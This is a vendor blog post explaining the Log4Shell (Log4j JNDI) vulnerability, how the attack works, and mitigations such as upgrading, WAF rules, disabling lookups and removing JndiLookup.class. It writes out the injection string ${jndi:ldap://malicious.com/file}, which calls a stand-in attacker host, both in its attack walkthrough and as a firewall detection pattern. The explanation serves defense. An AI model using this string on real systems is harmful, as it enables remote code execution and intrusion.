How to Prevent a Log4J JNDI Attack
Image Courtesy of Saksham Choudhary from Pexels
Along with the jingling of Christmas bells, this December, software vendors and cybersecurity professionals had their ears tingled by yet another term: Log4j JNDI vulnerability. The vulnerability paves the way for massive potential cyber security attacks on Java-based applications. Researchers across the globe have already released working proof of concept exploit codes that show the devastating repercussions of a potential attack.
Updated January 5, 2022
An article published by Carly Page on Techcrunch.com stated…
“The FTC intends to use its full legal authority to pursue companies that fail to take reasonable steps to protect consumer data from exposure as a result of Log4j, or similar known vulnerabilities in the future,” the FTC said, adding that it plans to apply its legal authority to protect consumers in the cases of “similar known vulnerabilities in the future.”
What is the Log4j JNDI Vulnerability?
Let’s first understand Log4j and JNDI.
Every application has a logging framework that logs activities performed on it. Log4j, an open-source logging library developed by the Apache Software Foundation, is the logging framework that Java-based applications use. Log4j uses a lookup feature called Java Naming and Directory Interface (JNDI) that consists of an API (Application Programming Interface) and SPI (Service Provider Interface). Several naming and directory services plug in via the SPI, namely DNS, LDAP, NIS, and more. The Java application can access these directory services using the JNDI API.
If there is a JNDI reference in the log entry, Log4j uses the JNDI feature to request data from an LDAP (Lightweight Directory Access Protocol) server. For example, an expression ${jndi:ldap://example.com/file} specifies the lookup through LDAP protocol and loads data from the URL example.com. However, if the LDAP server itself is malicious, the payload downloaded by the Java application ends up being harmful to the system.
Log4j JNDI vulnerability, dubbed Log4Shell by researchers, is a critical zero-day vulnerability that allows a cyber attacker to use the logging framework Log4j (version 2 to be precise) and the lookup feature JNDI within an application to generate special requests to an attacker-controlled server. The attackers mostly use the server to download malicious code into the system, gain access to perform Remote Code Execution (RCE) and breach a target without authorization.
Here are some key features of the Log4j JNDI vulnerability:
- Vulnerability ID: CVE-2021-44228
- Uncovered on: November 24, 2021
- Date of public disclosure: December 9, 2021
- Published by: Alibaba Cloud’s security team
- Initial detection: On Minecraft’s chat section
- Prompted a Common Vulnerability Scoring System (CVSS) severity level of 10, which is the highest
- Victims: iCloud, Steam, Minecraft, Twitter, Tesla, and more
How Does a Log4J JNDI Attack Happen?
Let’s see how the JNDI feature in Log4j logging framework can potentially download malicious files into a Java application and initiate a remote code execution:
- The Log4j logging framework logs any user activity on Java applications. The attacker takes advantage of this activity log by using a specially-crafted string and inputs it via the app user interface. For instance, the attacker can use the chat option in the case of Minecraft (an online multiplayer game) or the username field. Let’s say attackers input a string ${jndi:ldap://malicious.com/file} in the username field of an application with a random password. This does not give the attackers access to the application, but it nevertheless logs the string they entered.
- The JNDI lookup feature reads each log entry and tries to act according to the string given by the attacker. And when it sees ${jndi:ldap://malicious.com/file} in the log, it uses the JNDI feature to send a request for ‘file’ to malicious.com, which is obviously an attacker-controlled LDAP server. The LDAP server responds to this request with the directory information of ‘file’, the malicious payload.
- Once this ‘file’, which is essentially a malicious Java class, gets downloaded and executed, the attacker gains control and performs RCE, gaining access to execute their codes on remote machines, which in this case, is the vulnerable system. Once malicious codes get executed, the attackers can steal data, install ransomware, and perform unauthorized activities that can harm your system.
Who Is Impacted by Log4J?
Since Log4j is a commonly-used framework, the vulnerability could affect all applications that implement Java. According to Oracle Corporation, 97% of all business applications use Java. The range at which attackers can wreak havoc is unimaginable. Most Java-based software uses the Log4j library, which makes for a broader attack surface. Apart from enterprise software, Java gets embedded into a wide range of digital products and services, including routers and servers. However, the attack is dependent on several factors like the version of Log4j, the JVM used, etc.
What Can Companies Do to Prevent a Log4j JNDI Attack?
Ever since its detection, there have been attempts to mitigate risks. Apache Software Foundation is now recommending every software vendor to update to the latest Log4j version 2.17.0 as, apparently, this version is currently invulnerable.
Here are some other measures to minimize the chances of attack:
- Update every third-party application, along with all firewalls, to the latest version.
- Implement multi-factor authentication and strict VPN policies.
- Use a Web Application Firewall (WAF) to block an attacker from inserting specially-crafted strings. WAF acts as a reverse proxy server and adheres to a specific set of rules that protect the server from external requests. For example, the AWS Web Application Firewall comes with a predefined Log4JRCE rule called “AWSManagedRulesKnownBadInputsRuleSetesp” that allows the firewall to use a string-match detection that inspects requests of the form ${jndi:ldap://malicious.com/file}. If any request in the above format gets traced, the firewall infers it as a potential attack and blocks its execution.
- Change Java system properties by setting the property formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
- Disable JNDI lookup plugin so that no unnecessary code is executed based on the data on the log. This gets done by removing JndiLookup class
“zip -q -d log4j-core- *.jar org /apache/logging /log4j /core/lookup /JndiLookup.class”
Final Thoughts
Since every business is directly or indirectly connected to Java in one way or the other, there is a very high chance of attack if recommended security measures are not taken in time. Attackers just need a single entry point to take down the entire system. Hence, businesses and software vendors must take proper mitigation measures to ensure the vulnerability does not cause any impact.
Small and medium businesses that do not have an in-house security team must consult a cybersecurity team to make sure their systems and networks are not compromised.
Vulnerabilities like the Log4j JNDI cannot be foreseen. Planning ahead, staying updated on the latest cybersecurity measures, and having a cybersecurity team ready can help businesses take necessary actions before it is too late.
Have Questions About Mitigating the Log4J JNDI Vulnerability?
Talk to one of our Software Engineers Today
We will help you find the right talent, teams and experience to get you where you want to go
Still Have Questions?
Call Us: 1-647-372-0651
Feel free to contact our software engineers to learn how to update your applications to prevent a Log4J JNDI Attack